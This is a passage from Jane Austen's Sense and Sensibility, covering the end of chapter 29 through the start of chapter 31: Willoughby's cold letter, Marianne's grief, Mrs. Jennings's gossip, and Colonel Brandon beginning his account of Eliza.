I do assure you that nothing +would surprise me more than to hear of their being going +to be married." + +"For shame, for shame, Miss Dashwood! how can you +talk so? Don't we all know that it must be a match, that +they were over head and ears in love with each other from +the first moment they met? Did not I see them together +in Devonshire every day, and all day long; and did not I +know that your sister came to town with me on purpose +to buy wedding clothes? Come, come, this won't do. +Because you are so sly about it yourself, you think nobody +else has any senses; but it is no such thing, I can tell you, +for it has been known all over town this ever so long. +I tell every body of it and so does Charlotte." + +"Indeed, Ma'am," said Elinor, very seriously, +"you are mistaken. Indeed, you are doing a very unkind thing +in spreading the report, and you will find that you have +though you will not believe me now." + +Mrs. Jennings laughed again, but Elinor had not +spirits to say more, and eager at all events to know +what Willoughby had written, hurried away to their room, +where, on opening the door, she saw Marianne stretched on +the bed, almost choked by grief, one letter in her hand, +and two or three others laying by her. Elinor drew near, +but without saying a word; and seating herself on the bed, +took her hand, kissed her affectionately several times, +and then gave way to a burst of tears, which at first +was scarcely less violent than Marianne's. The latter, +though unable to speak, seemed to feel all the tenderness +of this behaviour, and after some time thus spent in +joint affliction, she put all the letters into Elinor's hands; +and then covering her face with her handkerchief, +almost screamed with agony. Elinor, who knew that such grief, +shocking as it was to witness it, must have its course, +watched by her till this excess of suffering had somewhat +spent itself, and then turning eagerly to Willoughby's letter, +read as follows: + + "Bond Street, January. + "MY DEAR MADAM, + + "I have just had the honour of receiving your + letter, for which I beg to return my sincere + acknowledgments. I am much concerned to find there + was anything in my behaviour last night that did + not meet your approbation; and though I am quite at + a loss to discover in what point I could be so + unfortunate as to offend you, I entreat your + forgiveness of what I can assure you to have been + perfectly unintentional. I shall never reflect on + my former acquaintance with your family in Devonshire + without the most grateful pleasure, and flatter + myself it will not be broken by any mistake or + misapprehension of my actions. My esteem for your + whole family is very sincere; but if I have been so + unfortunate as to give rise to a belief of more than + I felt, or meant to express, I shall reproach myself + for not having been more guarded in my professions + of that esteem. That I should ever have meant more + you will allow to be impossible, when you understand + that my affections have been long engaged elsewhere, + and it will not be many weeks, I believe, before + this engagement is fulfilled. It is with great + regret that I obey your commands in returning the + letters with which I have been honoured from you, + and the lock of hair, which you so obligingly bestowed + on me. + + "I am, dear Madam, + "Your most obedient + "humble servant, + "JOHN WILLOUGHBY." + + +With what indignation such a letter as this must +be read by Miss Dashwood, may be imagined. Though aware, +before she began it, that it must bring a confession +of his inconstancy, and confirm their separation for ever, +she was not aware that such language could be suffered +to announce it; nor could she have supposed Willoughby +capable of departing so far from the appearance of every +honourable and delicate feeling--so far from the common +decorum of a gentleman, as to send a letter so impudently +cruel: a letter which, instead of bringing with his desire +of a release any professions of regret, acknowledged no +breach of faith, denied all peculiar affection whatever-- +a letter of which every line was an insult, and which +proclaimed its writer to be deep in hardened villainy. + +She paused over it for some time with indignant +astonishment; then read it again and again; but every +perusal only served to increase her abhorrence of the man, +and so bitter were her feelings against him, that she +dared not trust herself to speak, lest she might wound +Marianne still deeper by treating their disengagement, +not as a loss to her of any possible good but as an +escape from the worst and most irremediable of all +evils, a connection, for life, with an unprincipled man, +as a deliverance the most real, a blessing the most important. + +In her earnest meditations on the contents of the letter, +on the depravity of that mind which could dictate it, +and probably, on the very different mind of a very different +person, who had no other connection whatever with the affair +than what her heart gave him with every thing that passed, +Elinor forgot the immediate distress of her sister, +forgot that she had three letters on her lap yet unread, +and so entirely forgot how long she had been in the room, +that when on hearing a carriage drive up to the door, +she went to the window to see who could be coming so +unreasonably early, she was all astonishment to perceive +Mrs. Jennings's chariot, which she knew had not been +ordered till one. Determined not to quit Marianne, +though hopeless of contributing, at present, to her ease, +she hurried away to excuse herself from attending +Mrs. Jennings, on account of her sister being indisposed. +Mrs. Jennings, with a thoroughly good-humoured concern +for its cause, admitted the excuse most readily, and Elinor, +after seeing her safe off, returned to Marianne, whom she +found attempting to rise from the bed, and whom she reached +just in time to prevent her from falling on the floor, +faint and giddy from a long want of proper rest and food; +for it was many days since she had any appetite, and many +nights since she had really slept; and now, when her +mind was no longer supported by the fever of suspense, +the consequence of all this was felt in an aching head, +a weakened stomach, and a general nervous faintness. +A glass of wine, which Elinor procured for her directly, +made her more comfortable, and she was at last able to express +some sense of her kindness, by saying, + +"Poor Elinor! how unhappy I make you!" + +"I only wish," replied her sister, "there were +any thing I COULD do, which might be of comfort to you." + +This, as every thing else would have been, +was too much for Marianne, who could only exclaim, +in the anguish of her heart, "Oh! Elinor, I am miserable, +indeed," before her voice was entirely lost in sobs. + +Elinor could no longer witness this torrent +of unresisted grief in silence. + +"Exert yourself, dear Marianne," she cried, +"if you would not kill yourself and all who love you. +Think of your mother; think of her misery while YOU suffer: +for her sake you must exert yourself." + +"I cannot, I cannot," cried Marianne; "leave me, +leave me, if I distress you; leave me, hate me, forget me! +but do not torture me so. Oh! how easy for those, +who have no sorrow of their own to talk of exertion! Happy, +happy Elinor, YOU cannot have an idea of what I suffer." + +"Do you call ME happy, Marianne? Ah! if you knew!--And +can you believe me to be so, while I see you so wretched!" + +"Forgive me, forgive me," throwing her arms round +her sister's neck; "I know you feel for me; I know what +a heart you have; but yet you are--you must be happy; +Edward loves you--what, oh what, can do away such happiness +as that?" + +"Many, many circumstances," said Elinor, solemnly. + +"No, no, no," cried Marianne wildly, "he loves you, +and only you. You CAN have no grief." + +"I can have no pleasure while I see you in this state." + +"And you will never see me otherwise. Mine is +a misery which nothing can do away." + +"You must not talk so, Marianne. Have you no +comforts? no friends? Is your loss such as leaves +no opening for consolation? Much as you suffer now, +think of what you would have suffered if the discovery +of his character had been delayed to a later period-- +if your engagement had been carried on for months and months, +as it might have been, before he chose to put an end to it. +Every additional day of unhappy confidence, on your side, +would have made the blow more dreadful." + +"Engagement!" cried Marianne, "there has been +no engagement." + +"No engagement!" + +"No, he is not so unworthy as you believe him. +He has broken no faith with me." + +"But he told you that he loved you." + +"Yes--no--never absolutely. It was every day implied, +but never professedly declared. Sometimes I thought it +had been--but it never was." + +"Yet you wrote to him?"-- + +"Yes--could that be wrong after all that had passed?-- +But I cannot talk." + +Elinor said no more, and turning again to the three +letters which now raised a much stronger curiosity +than before, directly ran over the contents of all. +The first, which was what her sister had sent him +on their arrival in town, was to this effect. + + Berkeley Street, January. + + "How surprised you will be, Willoughby, on + receiving this; and I think you will feel something + more than surprise, when you know that I am in town. + An opportunity of coming hither, though with Mrs. + Jennings, was a temptation we could not resist. + I wish you may receive this in time to come here + to-night, but I will not depend on it. At any rate + I shall expect you to-morrow. For the present, adieu. + + "M.D." + +Her second note, which had been written on the morning +after the dance at the Middletons', was in these words:-- + + "I cannot express my disappointment in having + missed you the day before yesterday, nor my astonishment + at not having received any answer to a note which + I sent you above a week ago. I have been expecting + to hear from you, and still more to see you, every + hour of the day. Pray call again as soon as possible, + and explain the reason of my having expected this + in vain. You had better come earlier another time, + because we are generally out by one. We were last + night at Lady Middleton's, where there was a dance. + I have been told that you were asked to be of the + party. But could it be so? You must be very much + altered indeed since we parted, if that could be + the case, and you not there. But I will not suppose + this possible, and I hope very soon to receive your + personal assurance of its being otherwise. + + "M.D." + +The contents of her last note to him were these:-- + + "What am I to imagine, Willoughby, by your + behaviour last night? Again I demand an explanation + of it. I was prepared to meet you with the pleasure + which our separation naturally produced, with the + familiarity which our intimacy at Barton appeared + to me to justify. I was repulsed indeed! I have + passed a wretched night in endeavouring to excuse + a conduct which can scarcely be called less than + insulting; but though I have not yet been able to + form any reasonable apology for your behaviour, + I am perfectly ready to hear your justification of + it. You have perhaps been misinformed, or purposely + deceived, in something concerning me, which may have + lowered me in your opinion. Tell me what it is, + explain the grounds on which you acted, and I shall + be satisfied, in being able to satisfy you. It + would grieve me indeed to be obliged to think ill + of you; but if I am to do it, if I am to learn that + you are not what we have hitherto believed you, that + your regard for us all was insincere, that your + behaviour to me was intended only to deceive, let + it be told as soon as possible. My feelings are at + present in a state of dreadful indecision; I wish + to acquit you, but certainty on either side will be + ease to what I now suffer. If your sentiments are + no longer what they were, you will return my notes, + and the lock of my hair which is in your possession. + + "M.D." + +That such letters, so full of affection and confidence, +could have been so answered, Elinor, for Willoughby's sake, +would have been unwilling to believe. But her condemnation +of him did not blind her to the impropriety of their +having been written at all; and she was silently grieving +over the imprudence which had hazarded such unsolicited +proofs of tenderness, not warranted by anything preceding, +and most severely condemned by the event, when Marianne, +perceiving that she had finished the letters, observed to +her that they contained nothing but what any one would +have written in the same situation. + +"I felt myself," she added, "to be as solemnly +engaged to him, as if the strictest legal covenant +had bound us to each other." + +"I can believe it," said Elinor; "but unfortunately +he did not feel the same." + +"He DID feel the same, Elinor--for weeks and weeks he +felt it. I know he did. Whatever may have changed him now, (and +nothing but the blackest art employed against me can have done +it), I was once as dear to him as my own soul could wish. +This lock of hair, which now he can so readily give up, +was begged of me with the most earnest supplication. +Had you seen his look, his manner, had you heard his voice +at that moment! Have you forgot the last evening of our +being together at Barton? The morning that we parted +too! When he told me that it might be many weeks before +we met again--his distress--can I ever forget his distress?" + +For a moment or two she could say no more; +but when this emotion had passed away, she added, +in a firmer tone, + +"Elinor, I have been cruelly used; but not by Willoughby." + +"Dearest Marianne, who but himself? By whom can he +have been instigated?" + +"By all the world, rather than by his own heart. +I could rather believe every creature of my acquaintance +leagued together to ruin me in his opinion, than believe +his nature capable of such cruelty. This woman of whom he +writes--whoever she be--or any one, in short, but your own +dear self, mama, and Edward, may have been so barbarous +to bely me. Beyond you three, is there a creature +in the world whom I would not rather suspect of evil +than Willoughby, whose heart I know so well?" + +Elinor would not contend, and only replied, +"Whoever may have been so detestably your enemy, let them +be cheated of their malignant triumph, my dear sister, +by seeing how nobly the consciousness of your own +innocence and good intentions supports your spirits. +It is a reasonable and laudable pride which resists +such malevolence." + +"No, no," cried Marianne, "misery such as mine has +no pride. I care not who knows that I am wretched. +The triumph of seeing me so may be open to all the world. +Elinor, Elinor, they who suffer little may be proud and +independent as they like--may resist insult, or return +mortification--but I cannot. I must feel--I must be +wretched--and they are welcome to enjoy the consciousness +of it that can." + +"But for my mother's sake and mine--" + +"I would do more than for my own. But to appear +happy when I am so miserable--Oh! who can require it?" + +Again they were both silent. Elinor was employed +in walking thoughtfully from the fire to the window, +from the window to the fire, without knowing that she +received warmth from one, or discerning objects through +the other; and Marianne, seated at the foot of the bed, +with her head leaning against one of its posts, +again took up Willoughby's letter, and, after shuddering +over every sentence, exclaimed-- + +"It is too much! Oh, Willoughby, Willoughby, could this +be yours! Cruel, cruel--nothing can acquit you. Elinor, +nothing can. Whatever he might have heard against me-- +ought he not to have suspended his belief? ought he not to +have told me of it, to have given me the power of clearing +myself? 'The lock of hair, (repeating it from the letter,) +which you so obligingly bestowed on me'--That is unpardonable. +Willoughby, where was your heart when you wrote those words? +Oh, barbarously insolent!--Elinor, can he be justified?" + +"No, Marianne, in no possible way." + +"And yet this woman--who knows what her art may +have been?--how long it may have been premeditated, +and how deeply contrived by her!--Who is she?--Who can +she be?--Whom did I ever hear him talk of as young and +attractive among his female acquaintance?--Oh! no one, +no one--he talked to me only of myself." + +Another pause ensued; Marianne was greatly agitated, +and it ended thus. + +"Elinor, I must go home. I must go and comfort mama. +Can not we be gone to-morrow?" + +"To-morrow, Marianne!" + +"Yes, why should I stay here? I came only for +Willoughby's sake--and now who cares for me? Who regards me?" + +"It would be impossible to go to-morrow. We owe +Mrs. Jennings much more than civility; and civility of +the commonest kind must prevent such a hasty removal as that." + +"Well then, another day or two, perhaps; but I cannot +stay here long, I cannot stay to endure the questions +and remarks of all these people. The Middletons and +Palmers--how am I to bear their pity? The pity of such +a woman as Lady Middleton! Oh, what would HE say to that!" + +Elinor advised her to lie down again, and for a +moment she did so; but no attitude could give her ease; +and in restless pain of mind and body she moved from one +posture to another, till growing more and more hysterical, +her sister could with difficulty keep her on the bed at all, +and for some time was fearful of being constrained to call +for assistance. Some lavender drops, however, which she +was at length persuaded to take, were of use; and from +that time till Mrs. Jennings returned, she continued +on the bed quiet and motionless. + + + +CHAPTER 30 + + +Mrs. Jennings came immediately to their room on her return, +and without waiting to have her request of admittance answered, +opened the door and walked in with a look of real concern. + +"How do you do my dear?"--said she in a voice of great +compassion to Marianne, who turned away her face without +attempting to answer. + +"How is she, Miss Dashwood?--Poor thing! she looks very bad.-- +No wonder. Ay, it is but too true. He is to be married +very soon--a good-for-nothing fellow! I have no patience +with him. Mrs. Taylor told me of it half an hour ago, +and she was told it by a particular friend of Miss +Grey herself, else I am sure I should not have believed it; +and I was almost ready to sink as it was. Well, said I, +all I can say is, that if this be true, he has used +a young lady of my acquaintance abominably ill, and I +wish with all my soul his wife may plague his heart out. +And so I shall always say, my dear, you may depend on it. +I have no notion of men's going on in this way; and if ever +I meet him again, I will give him such a dressing as he +has not had this many a day. But there is one comfort, +my dear Miss Marianne; he is not the only young man +in the world worth having; and with your pretty face +you will never want admirers. Well, poor thing! I won't +disturb her any longer, for she had better have her cry +out at once and have done with. The Parrys and Sandersons +luckily are coming tonight you know, and that will amuse her." + +She then went away, walking on tiptoe out of the room, +as if she supposed her young friend's affliction could +be increased by noise. + +Marianne, to the surprise of her sister, +determined on dining with them. Elinor even advised +her against it. But "no, she would go down; she could +bear it very well, and the bustle about her would +be less." Elinor, pleased to have her governed for a +moment by such a motive, though believing it hardly +possible that she could sit out the dinner, said no more; +and adjusting her dress for her as well as she could, +while Marianne still remained on the bed, was ready +to assist her into the dining room as soon as they were +summoned to it. + +When there, though looking most wretchedly, +she ate more and was calmer than her sister had expected. +Had she tried to speak, or had she been conscious of half +Mrs. Jennings's well-meant but ill-judged attentions +to her, this calmness could not have been maintained; +but not a syllable escaped her lips; and the abstraction +of her thoughts preserved her in ignorance of every thing +that was passing before her. + +Elinor, who did justice to Mrs. Jennings's kindness, +though its effusions were often distressing, and sometimes +almost ridiculous, made her those acknowledgments, +and returned her those civilities, which her sister could +not make or return for herself. Their good friend saw +that Marianne was unhappy, and felt that every thing +was due to her which might make her at all less so. +She treated her therefore, with all the indulgent fondness +of a parent towards a favourite child on the last day of +its holidays. Marianne was to have the best place by the fire, +was to be tempted to eat by every delicacy in the house, +and to be amused by the relation of all the news of the day. +Had not Elinor, in the sad countenance of her sister, +seen a check to all mirth, she could have been entertained +by Mrs. Jennings's endeavours to cure a disappointment in love, +by a variety of sweetmeats and olives, and a good fire. +As soon, however, as the consciousness of all this was +forced by continual repetition on Marianne, she could +stay no longer. With a hasty exclamation of Misery, +and a sign to her sister not to follow her, she directly got +up and hurried out of the room. + +"Poor soul!" cried Mrs. Jennings, as soon as she was gone, +"how it grieves me to see her! And I declare if she is +not gone away without finishing her wine! And the dried +cherries too! Lord! nothing seems to do her any good. +I am sure if I knew of any thing she would like, I would +send all over the town for it. Well, it is the oddest +thing to me, that a man should use such a pretty girl +so ill! But when there is plenty of money on one side, +and next to none on the other, Lord bless you! they care +no more about such things!--" + +"The lady then--Miss Grey I think you called her-- +is very rich?" + +"Fifty thousand pounds, my dear. Did you ever see +her? a smart, stylish girl they say, but not handsome. +I remember her aunt very well, Biddy Henshawe; she married +a very wealthy man. But the family are all rich together. +Fifty thousand pounds! and by all accounts, it won't come +before it's wanted; for they say he is all to pieces. +No wonder! dashing about with his curricle and hunters! +Well, it don't signify talking; but when a young man, +be who he will, comes and makes love to a pretty girl, +and promises marriage, he has no business to fly off +from his word only because he grows poor, and a richer +girl is ready to have him. Why don't he, in such a case, +sell his horses, let his house, turn off his servants, +and make a thorough reform at once? I warrant you, +Miss Marianne would have been ready to wait till matters +came round. But that won't do now-a-days; nothing in the +way of pleasure can ever be given up by the young men of +this age." + +"Do you know what kind of a girl Miss Grey is? +Is she said to be amiable?" + +"I never heard any harm of her; indeed I hardly ever +heard her mentioned; except that Mrs. Taylor did say +this morning, that one day Miss Walker hinted to her, +that she believed Mr. and Mrs. Ellison would not be sorry +to have Miss Grey married, for she and Mrs. Ellison could +never agree."-- + +"And who are the Ellisons?" + +"Her guardians, my dear. But now she is of age +and may choose for herself; and a pretty choice she has +made!--What now," after pausing a moment--"your poor sister +is gone to her own room, I suppose, to moan by herself. +Is there nothing one can get to comfort her? Poor dear, +it seems quite cruel to let her be alone. Well, by-and-by we +shall have a few friends, and that will amuse her a little. +What shall we play at? She hates whist I know; but is there +no round game she cares for?" + +"Dear ma'am, this kindness is quite unnecessary. +Marianne, I dare say, will not leave her room again +this evening. I shall persuade her if I can to go +early to bed, for I am sure she wants rest." + +"Aye, I believe that will be best for her. Let her name +her own supper, and go to bed. Lord! no wonder she has +been looking so bad and so cast down this last week or two, +for this matter I suppose has been hanging over her head as +long as that. And so the letter that came today finished it! +Poor soul! I am sure if I had had a notion of it, +I would not have joked her about it for all my money. +But then you know, how should I guess such a thing? I made +sure of its being nothing but a common love letter, and +you know young people like to be laughed at about them. Lord! +how concerned Sir John and my daughters will be when they +hear it! If I had my senses about me I might have called +in Conduit Street in my way home, and told them of it. +But I shall see them tomorrow." + +"It would be unnecessary I am sure, for you to caution +Mrs. Palmer and Sir John against ever naming Mr. Willoughby, +or making the slightest allusion to what has passed, +before my sister. Their own good-nature must point out +to them the real cruelty of appearing to know any thing +about it when she is present; and the less that may ever +be said to myself on the subject, the more my feelings +will be spared, as you my dear madam will easily believe." + +"Oh! Lord! yes, that I do indeed. It must be terrible +for you to hear it talked of; and as for your sister, +I am sure I would not mention a word about it to her +for the world. You saw I did not all dinner time. +No more would Sir John, nor my daughters, for they are +all very thoughtful and considerate; especially if I +give them a hint, as I certainly will. For my part, +I think the less that is said about such things, the better, +the sooner 'tis blown over and forgot. And what does +talking ever do you know?" + +"In this affair it can only do harm; more so +perhaps than in many cases of a similar kind, for it +has been attended by circumstances which, for the sake +of every one concerned in it, make it unfit to become +the public conversation. I must do THIS justice to +Mr. Willoughby--he has broken no positive engagement +with my sister." + +"Law, my dear! Don't pretend to defend him. +No positive engagement indeed! after taking her all +over Allenham House, and fixing on the very rooms they +were to live in hereafter!" + +Elinor, for her sister's sake, could not press the +subject farther, and she hoped it was not required of her +for Willoughby's; since, though Marianne might lose much, +he could gain very little by the enforcement of the real truth. +After a short silence on both sides, Mrs. Jennings, +with all her natural hilarity, burst forth again. + +"Well, my dear, 'tis a true saying about an ill-wind, +for it will be all the better for Colonel Brandon. +He will have her at last; aye, that he will. Mind me, +now, if they an't married by Mid-summer. Lord! how he'll +chuckle over this news! I hope he will come tonight. +It will be all to one a better match for your sister. +Two thousand a year without debt or drawback--except +the little love-child, indeed; aye, I had forgot her; +but she may be 'prenticed out at a small cost, and then +what does it signify? Delaford is a nice place, I can +tell you; exactly what I call a nice old fashioned place, +full of comforts and conveniences; quite shut in with great +garden walls that are covered with the best fruit-trees +in the country; and such a mulberry tree in one corner! +Lord! how Charlotte and I did stuff the only time we +were there! Then, there is a dove-cote, some delightful +stew-ponds, and a very pretty canal; and every thing, +in short, that one could wish for; and, moreover, it is +close to the church, and only a quarter of a mile from +the turnpike-road, so 'tis never dull, for if you only +go and sit up in an old yew arbour behind the house, +you may see all the carriages that pass along. +Oh! 'tis a nice place! A butcher hard by in the village, +and the parsonage-house within a stone's throw. +To my fancy, a thousand times prettier than Barton Park, +where they are forced to send three miles for their meat, +and have not a neighbour nearer than your mother. +Well, I shall spirit up the Colonel as soon as I can. +One shoulder of mutton, you know, drives another down. +If we CAN but put Willoughby out of her head!" + +"Ay, if we can do THAT, Ma'am," said Elinor, +"we shall do very well with or without Colonel Brandon." +And then rising, she went away to join Marianne, +whom she found, as she expected, in her own room, leaning, +in silent misery, over the small remains of a fire, +which, till Elinor's entrance, had been her only light. + +"You had better leave me," was all the notice +that her sister received from her. + +"I will leave you," said Elinor, "if you will go +to bed." But this, from the momentary perverseness +of impatient suffering, she at first refused to do. +Her sister's earnest, though gentle persuasion, however, +soon softened her to compliance, and Elinor saw her +lay her aching head on the pillow, and as she hoped, +in a way to get some quiet rest before she left her. + +In the drawing-room, whither she then repaired, +she was soon joined by Mrs. Jennings, with a wine-glass, +full of something, in her hand. + +"My dear," said she, entering, "I have just recollected +that I have some of the finest old Constantia wine in the +house that ever was tasted, so I have brought a glass of it +for your sister. My poor husband! how fond he was of it! +Whenever he had a touch of his old colicky gout, he said +it did him more good than any thing else in the world. +Do take it to your sister." + +"Dear Ma'am," replied Elinor, smiling at the difference +of the complaints for which it was recommended, "how good +you are! But I have just left Marianne in bed, and, I hope, +almost asleep; and as I think nothing will be of so much +service to her as rest, if you will give me leave, +I will drink the wine myself." + +Mrs. Jennings, though regretting that she had not been +five minutes earlier, was satisfied with the compromise; +and Elinor, as she swallowed the chief of it, reflected, +that though its effects on a colicky gout were, at present, +of little importance to her, its healing powers, +on a disappointed heart might be as reasonably tried +on herself as on her sister. + +Colonel Brandon came in while the party were at tea, +and by his manner of looking round the room for Marianne, +Elinor immediately fancied that he neither expected +nor wished to see her there, and, in short, that he +was already aware of what occasioned her absence. +Mrs. Jennings was not struck by the same thought; +for soon after his entrance, she walked across the room +to the tea-table where Elinor presided, and whispered-- +"The Colonel looks as grave as ever you see. He knows +nothing of it; do tell him, my dear." + +He shortly afterwards drew a chair close to her's, +and, with a look which perfectly assured her of his +good information, inquired after her sister. + +"Marianne is not well," said she. "She has been +indisposed all day, and we have persuaded her to go to bed." + +"Perhaps, then," he hesitatingly replied, "what I +heard this morning may be--there may be more truth in it +than I could believe possible at first." + +"What did you hear?" + +"That a gentleman, whom I had reason to think--in short, +that a man, whom I KNEW to be engaged--but how shall I +tell you? If you know it already, as surely you must, +I may be spared." + +"You mean," answered Elinor, with forced calmness, +"Mr. Willoughby's marriage with Miss Grey. Yes, we DO +know it all. This seems to have been a day of general +elucidation, for this very morning first unfolded it to us. +Mr. Willoughby is unfathomable! Where did you hear it?" + +"In a stationer's shop in Pall Mall, where I +had business. Two ladies were waiting for their carriage, +and one of them was giving the other an account of the +intended match, in a voice so little attempting concealment, +that it was impossible for me not to hear all. The name +of Willoughby, John Willoughby, frequently repeated, +first caught my attention; and what followed was a positive +assertion that every thing was now finally settled +respecting his marriage with Miss Grey--it was no longer +to be a secret--it would take place even within a few weeks, +with many particulars of preparations and other matters. +One thing, especially, I remember, because it served +to identify the man still more:--as soon as the ceremony +was over, they were to go to Combe Magna, his seat +in Somersetshire. My astonishment!--but it would be +impossible to describe what I felt. The communicative +lady I learnt, on inquiry, for I stayed in the shop +till they were gone, was a Mrs. Ellison, and that, as I +have been since informed, is the name of Miss Grey's guardian." + +"It is. But have you likewise heard that Miss Grey +has fifty thousand pounds? In that, if in any thing, +we may find an explanation." + +"It may be so; but Willoughby is capable--at least +I think"--he stopped a moment; then added in a voice +which seemed to distrust itself, "And your sister-- +how did she--" + +"Her sufferings have been very severe. I have +only to hope that they may be proportionately short. +It has been, it is a most cruel affliction. Till yesterday, +I believe, she never doubted his regard; and even now, +perhaps--but I am almost convinced that he never was +really attached to her. He has been very deceitful! and, +in some points, there seems a hardness of heart about him." + +"Ah!" said Colonel Brandon, "there is, indeed! But +your sister does not--I think you said so--she does +not consider quite as you do?" + +"You know her disposition, and may believe how eagerly +she would still justify him if she could." + +He made no answer; and soon afterwards, by the removal +of the tea-things, and the arrangement of the card parties, +the subject was necessarily dropped. Mrs. Jennings, who had +watched them with pleasure while they were talking, and who +expected to see the effect of Miss Dashwood's communication, +in such an instantaneous gaiety on Colonel Brandon's side, +as might have become a man in the bloom of youth, of hope +and happiness, saw him, with amazement, remain the whole +evening more serious and thoughtful than usual. + + + +CHAPTER 31 + + +From a night of more sleep than she had expected, +Marianne awoke the next morning to the same consciousness +of misery in which she had closed her eyes. + +Elinor encouraged her as much as possible to talk +of what she felt; and before breakfast was ready, they had +gone through the subject again and again; and with the same +steady conviction and affectionate counsel on Elinor's side, +the same impetuous feelings and varying opinions on +Marianne's, as before. Sometimes she could believe +Willoughby to be as unfortunate and as innocent as herself, +and at others, lost every consolation in the impossibility +of acquitting him. At one moment she was absolutely +indifferent to the observation of all the world, at another +she would seclude herself from it for ever, and at a third +could resist it with energy. In one thing, however, +she was uniform, when it came to the point, in avoiding, +where it was possible, the presence of Mrs. Jennings, +and in a determined silence when obliged to endure it. +Her heart was hardened against the belief of Mrs. Jennings's +entering into her sorrows with any compassion. + +"No, no, no, it cannot be," she cried; +"she cannot feel. Her kindness is not sympathy; +her good-nature is not tenderness. All that she wants +is gossip, and she only likes me now because I supply it." + +Elinor had not needed this to be assured of the injustice +to which her sister was often led in her opinion of others, +by the irritable refinement of her own mind, and the too +great importance placed by her on the delicacies of a +strong sensibility, and the graces of a polished manner. +Like half the rest of the world, if more than half there +be that are clever and good, Marianne, with excellent +abilities and an excellent disposition, was neither +reasonable nor candid. She expected from other people +the same opinions and feelings as her own, and she judged +of their motives by the immediate effect of their actions +on herself. Thus a circumstance occurred, while the +sisters were together in their own room after breakfast, +which sunk the heart of Mrs. Jennings still lower +in her estimation; because, through her own weakness, +it chanced to prove a source of fresh pain to herself, +though Mrs. Jennings was governed in it by an impulse +of the utmost goodwill. + +With a letter in her outstretched hand, and countenance +gaily smiling, from the persuasion of bringing comfort, +she entered their room, saying, + +"Now, my dear, I bring you something that I am sure +will do you good." + +Marianne heard enough. In one moment her imagination +placed before her a letter from Willoughby, full of tenderness +and contrition, explanatory of all that had passed, satisfactory, +convincing; and instantly followed by Willoughby himself, +rushing eagerly into the room to inforce, at her feet, +by the eloquence of his eyes, the assurances of his letter. +The work of one moment was destroyed by the next. +The hand writing of her mother, never till then unwelcome, +was before her; and, in the acuteness of the disappointment +which followed such an ecstasy of more than hope, +she felt as if, till that instant, she had never suffered. + +The cruelty of Mrs. Jennings no language, within +her reach in her moments of happiest eloquence, +could have expressed; and now she could reproach her +only by the tears which streamed from her eyes with +passionate violence--a reproach, however, so entirely +lost on its object, that after many expressions of pity, +she withdrew, still referring her to the letter of comfort. +But the letter, when she was calm enough to read it, +brought little comfort. Willoughby filled every page. +Her mother, still confident of their engagement, and relying +as warmly as ever on his constancy, had only been roused +by Elinor's application, to intreat from Marianne greater +openness towards them both; and this, with such tenderness +towards her, such affection for Willoughby, and such +a conviction of their future happiness in each other, +that she wept with agony through the whole of it. + +All her impatience to be at home again now returned; +her mother was dearer to her than ever; dearer through +the very excess of her mistaken confidence in Willoughby, +and she was wildly urgent to be gone. Elinor, unable herself +to determine whether it were better for Marianne to be +in London or at Barton, offered no counsel of her own +except of patience till their mother's wishes could be known; +and at length she obtained her sister's consent to wait +for that knowledge. + +Mrs. Jennings left them earlier than usual; for she +could not be easy till the Middletons and Palmers were able +to grieve as much as herself; and positively refusing +Elinor's offered attendance, went out alone for the rest +of the morning. Elinor, with a very heavy heart, aware of +the pain she was going to communicate, and perceiving, +by Marianne's letter, how ill she had succeeded in laying +any foundation for it, then sat down to write her mother +an account of what had passed, and entreat her directions +for the future; while Marianne, who came into the drawing-room +on Mrs. Jennings's going away, remained fixed at the table +where Elinor wrote, watching the advancement of her pen, +grieving over her for the hardship of such a task, +and grieving still more fondly over its effect on her mother. + +In this manner they had continued about a quarter +of an hour, when Marianne, whose nerves could not then +bear any sudden noise, was startled by a rap at the door. + +"Who can this be?" cried Elinor. "So early too! I +thought we HAD been safe." + +Marianne moved to the window-- + +"It is Colonel Brandon!" said she, with vexation. +"We are never safe from HIM." + +"He will not come in, as Mrs. Jennings is from home." + +"I will not trust to THAT," retreating to her own room. +"A man who has nothing to do with his own time has no +conscience in his intrusion on that of others." + +The event proved her conjecture right, though it +was founded on injustice and error; for Colonel Brandon +DID come in; and Elinor, who was convinced that +solicitude for Marianne brought him thither, and who saw +THAT solicitude in his disturbed and melancholy look, +and in his anxious though brief inquiry after her, +could not forgive her sister for esteeming him so lightly. + +"I met Mrs. Jennings in Bond Street," said he, +after the first salutation, "and she encouraged me +to come on; and I was the more easily encouraged, +because I thought it probable that I might find you alone, +which I was very desirous of doing. My object--my +wish--my sole wish in desiring it--I hope, I believe +it is--is to be a means of giving comfort;--no, I must +not say comfort--not present comfort--but conviction, +lasting conviction to your sister's mind. My regard for her, +for yourself, for your mother--will you allow me to prove it, +by relating some circumstances which nothing but a VERY +sincere regard--nothing but an earnest desire of being +useful--I think I am justified--though where so many hours +have been spent in convincing myself that I am right, +is there not some reason to fear I may be wrong?" +He stopped. + +"I understand you," said Elinor. "You have something +to tell me of Mr. Willoughby, that will open his character +farther. Your telling it will be the greatest act of friendship +that can be shewn Marianne. MY gratitude will be insured +immediately by any information tending to that end, and HERS +must be gained by it in time. Pray, pray let me hear it." + +"You shall; and, to be brief, when I quitted Barton +last October,--but this will give you no idea--I must go +farther back. You will find me a very awkward narrator, +Miss Dashwood; I hardly know where to begin. A short +account of myself, I believe, will be necessary, and it +SHALL be a short one. On such a subject," sighing heavily, +"can I have little temptation to be diffuse." + +He stopt a moment for recollection, and then, +with another sigh, went on. + +"You have probably entirely forgotten a conversation-- +(it is not to be supposed that it could make any impression +on you)--a conversation between us one evening at Barton +Park--it was the evening of a dance--in which I alluded +to a lady I had once known, as resembling, in some measure, +your sister Marianne." + +"Indeed," answered Elinor, "I have NOT forgotten it." +He looked pleased by this remembrance, and added, + +"If I am not deceived by the uncertainty, the partiality +of tender recollection, there is a very strong resemblance +between them, as well in mind as person. The same warmth +of heart, the same eagerness of fancy and spirits. +This lady was one of my nearest relations, an orphan from +her infancy, and under the guardianship of my father. +Our ages were nearly the same, and from our earliest years +we were playfellows and friends. I cannot remember the +time when I did not love Eliza; and my affection for her, +as we grew up, was such, as perhaps, judging from my +present forlorn and cheerless gravity, you might think me +incapable of having ever felt. Her's, for me, was, I believe, +fervent as the attachment of your sister to Mr. Willoughby +and it was, though from a different cause, no less unfortunate. +At seventeen she was lost to me for ever. She was +married--married against her inclination to my brother. +Her fortune was large, and our family estate much encumbered. +And this, I fear, is all that can be said for the +conduct of one, who was at once her uncle and guardian. +My brother did not deserve her; he did not even love her. +I had hoped that her regard for me would support her +under any difficulty, and for some time it did; but at +last the misery 